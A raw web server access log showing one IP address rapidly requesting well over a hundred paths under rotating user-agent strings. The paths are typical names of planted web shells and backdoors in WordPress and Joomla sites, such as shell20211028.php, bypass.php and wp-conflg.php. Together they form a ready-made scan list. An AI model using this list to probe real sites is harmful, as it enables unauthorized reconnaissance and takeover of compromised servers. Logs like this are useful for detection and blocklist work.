185.153.151.145 - - [17/Apr/2026:14:43:43 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.153.151.145 - - [17/Apr/2026:14:43:43 +0300] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:43:43 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.153.151.145 - - [17/Apr/2026:14:43:43 +0300] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.153.151.145 - - [17/Apr/2026:14:43:43 +0300] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:43:43 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:43:43 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.153.151.145 - - [17/Apr/2026:14:43:43 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:43 +0300] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:43:44 +0300] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:44 +0300] "GET /wp-includes/js/jquery/suggest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:44 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.153.151.145 - - [17/Apr/2026:14:43:44 +0300] "GET /wp-content/plugins/pwnd-1/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:43:44 +0300] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.153.151.145 - - [17/Apr/2026:14:43:44 +0300] "GET /images/DJP9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:43:44 +0300] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:44 +0300] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:44 +0300] "GET /natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.153.151.145 - - [17/Apr/2026:14:43:44 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:43:44 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.153.151.145 - - [17/Apr/2026:14:43:44 +0300] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:44 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:45 +0300] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:45 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:45 +0300] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:45 +0300] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:45 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:43:45 +0300] "GET /wp-content/languages/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:45 +0300] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:45 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:45 +0300] "GET /wp-includes/assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:46 +0300] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:46 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:46 +0300] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.153.151.145 - - [17/Apr/2026:14:43:46 +0300] "GET /autoload_classmap/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:46 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:46 +0300] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:46 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:46 +0300] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:43:46 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:46 +0300] "GET /wp-content/plugins/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:46 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:47 +0300] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:47 +0300] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:43:47 +0300] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:47 +0300] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:47 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:43:47 +0300] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:47 +0300] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:47 +0300] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:47 +0300] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:47 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:43:47 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:47 +0300] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:43:47 +0300] "GET /wp-content/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:48 +0300] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.153.151.145 - - [17/Apr/2026:14:43:48 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ask.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:43:48 +0300] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:48 +0300] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:48 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:48 +0300] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:48 +0300] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.153.151.145 - - [17/Apr/2026:14:43:48 +0300] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:43:48 +0300] "GET /assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:43:48 +0300] "GET /.well-known/pki-validation/index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.153.151.145 - - [17/Apr/2026:14:43:48 +0300] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:48 +0300] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:49 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:43:49 +0300] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:43:49 +0300] "GET /wp_wlx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:43:49 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:49 +0300] "GET /wp-includes/assets/husky301.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:43:49 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:49 +0300] "GET /wp-admin/css/colors/blue/wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.153.151.145 - - [17/Apr/2026:14:43:49 +0300] "GET /wp-content/themes/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:49 +0300] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:49 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:49 +0300] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:43:50 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:50 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:43:50 +0300] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:50 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.153.151.145 - - [17/Apr/2026:14:43:50 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:43:50 +0300] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:50 +0300] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:50 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:50 +0300] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:50 +0300] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:51 +0300] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:43:51 +0300] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.153.151.145 - - [17/Apr/2026:14:43:51 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:51 +0300] "GET /wp-content/plugins/up/main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:51 +0300] "GET /fonts/fontawesome-webfont.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:51 +0300] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:51 +0300] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.153.151.145 - - [17/Apr/2026:14:43:51 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.153.151.145 - - [17/Apr/2026:14:43:51 +0300] "GET /images/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.153.151.145 - - [17/Apr/2026:14:43:51 +0300] "GET /images/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:52 +0300] "GET /wp-content/plugins/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.153.151.145 - - [17/Apr/2026:14:43:52 +0300] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:43:52 +0300] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:52 +0300] "GET /images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:52 +0300] "GET /wp-content/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:52 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:43:52 +0300] "GET /wp-admin/css/colors/midnight/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:52 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:52 +0300] "GET /wp-includes/style-engine/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:52 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:52 +0300] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.153.151.145 - - [17/Apr/2026:14:43:52 +0300] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:53 +0300] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:53 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.153.151.145 - - [17/Apr/2026:14:43:53 +0300] "GET /wp-setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:53 +0300] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:53 +0300] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 